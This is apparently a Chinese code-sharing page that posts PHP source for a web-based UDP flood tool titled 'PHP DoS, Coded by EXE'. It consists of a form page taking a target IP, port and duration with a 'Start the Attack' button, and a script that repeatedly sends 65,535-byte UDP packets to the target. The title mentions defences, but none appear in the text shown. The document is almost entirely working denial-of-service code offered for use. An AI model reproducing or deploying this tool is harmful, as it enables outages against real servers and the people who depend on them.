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php DOS攻击实现代码(附如何防范)
摘要:index.php复制代码代码如下:PHPDoS,CodedbyEXEYourIP:(Don'tDoSyourselfnub)IP:Time...

index.php

复制代码 代码如下:

<?php

$ip = $_SERVER['REMOTE_ADDR'];

?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">

<meta name="author" content="">

<title>PHP DoS, Coded by EXE</title>

</head>

<>

<style type="text/css">

<>

</style>

<>

<body>

<center><br><br>

<img src="main.jpg"><br>

<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font>(Don't DoS yourself nub)<br><br>

<form name="input" action="function.php" method="post">

IP:

<input type="text" name="ip" size="15" maxlength="15" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">

Time:

<input type="text" name="time" size="14" maxlength="20" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">

Port:

<input type="text" name="port" size="5" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">

<br><br>

<input type="submit" value=" Start the Attack---> ">

<br><br>

<center>

After initiating the DoS attack, please wait while the browser loads.

</center>

</form>

</center>

<>

</body>

</html>

function.php

复制代码 代码如下:

<?php

//=================================================

//PHP DOS v1.8 (Possibly Stronger Flood Strength)

//Coded by EXE

//=================================================

$packets = 0;

$ip = $_POST['ip'];

$rand = $_POST['port'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_POST['time'];

$time = time();

print "Flooded: $ip on port $rand <br><br>";

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= "X";

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";

?>

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